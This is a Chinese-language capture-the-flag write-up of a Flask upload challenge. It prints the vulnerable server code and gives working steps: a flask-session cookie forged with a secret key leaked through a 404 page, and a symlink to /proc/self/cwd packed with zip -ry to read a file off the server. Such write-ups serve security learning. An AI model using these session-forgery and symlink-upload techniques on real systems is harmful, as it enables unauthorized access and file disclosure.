知识点:利用 404 页面获取密钥,利用 ln -s 建立软连接,利用 proc 文件系统。
flask-session 伪造
测试发现 upload 页面需要权限,那么首先查看 cookie,发现格式很像 jwt 或者 flask-session。
利用 p 神的 flask-session 解密脚本。
尝试修改 id 为 1 登录,但要修改还需要 key,这边我找了半天没找到,看了 大佬们的 wp,学到了一种新姿势,利用 404 页面,获取key 。
最后利用加密脚本加密一下。
payload:
python .\flask_session3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"
.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.Y2xeVw.2vWtNNN_VVZwcUAcM-XcoL8v884
软连接获取 flag
在网页源码中给出了 flask 的一部分源码。
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')
@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"
/showflag 路由中可以看出 flag 在 /flag/flag.jpg 中,但是绝对路径不知道,可以通过 /proc/self/cwd/flag/flag,jpg 软连接读取。
/upload 路由检测上传的文件是不是 zip 后缀的文件,如果是则解压,并且读取里面的文件内容并且返回到 upload.html。
这边又学到一个姿势:
利用 ln -s /proc/self/cwd/flag/flag.jpg succ
建立一个软连接到 succ,也就是创建了一个快捷键,名字叫 succ。
然后利用 zip -ry succ.zip succ
打包这个软连接
-r:将指定的目录下的所有子目录以及文件一起处理
-y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。
最后抓包上传就可以拿到 flag 了。
reference
https://blog.csdn.net/SopRomeo/article/details/108334393